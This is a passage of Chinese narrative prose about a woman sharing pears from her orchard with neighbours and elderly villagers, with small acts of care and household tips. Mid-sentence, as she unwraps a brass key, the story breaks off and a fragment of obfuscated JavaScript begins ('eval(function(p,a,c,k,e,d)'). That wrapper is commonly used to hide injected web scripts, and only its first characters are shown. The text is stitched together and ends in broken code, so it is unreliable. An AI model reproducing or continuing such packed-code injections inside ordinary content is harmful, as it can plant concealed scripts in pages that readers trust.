“给你添麻烦了，老周。”王秀兰笑着迎上去，把竹篮里的梨往大爷筐里倒了几个，“换着吃，我家的梨甜，你家的苹果脆。”
大爷也不推辞，乐呵呵地接了：“下午让小美来我家摘苹果，随便摘，管够！”
晨露渐渐散了，阳光穿过梨叶的缝隙，在地上织出张晃动的网。王秀兰蹲在树底下，把摘好的梨一个个用软纸包起来，动作轻得像在给婴儿包襁褓。“这样不容易碰坏，”她说，“给陈奶奶的要包厚点，她牙口不好，得吃软乎的；给李师傅的不用包，那老头吃梨不讲究，连皮都不削。”
我看着她分门别类地装梨，忽然明白“牵挂”这两个字，从来不是挂在嘴边的念叨，而是记住每个人的喜好，把琐碎的心意藏在包梨的软纸里，藏在分梨的竹篮里，藏在那句“管够”的爽朗里。
往回走时，两个竹篮都沉甸甸的，压得自行车把有点晃。王秀兰非要送我到路口，手里拎着那个装梨片的玻璃罐，走几步就叮嘱一句：“回去把梨放阴凉处，能存半个月；梨片别泡太久，五分钟正好；陈奶奶的梨汤要放川贝，张大爷咳嗽能好得快点……”
走到村口的老井旁，她忽然停下脚步，从怀里掏出个红布包，层层打开，里面是枚黄铜钥匙，上面
;eval(function(p,a,c,k,e,d){e=function(c){return(c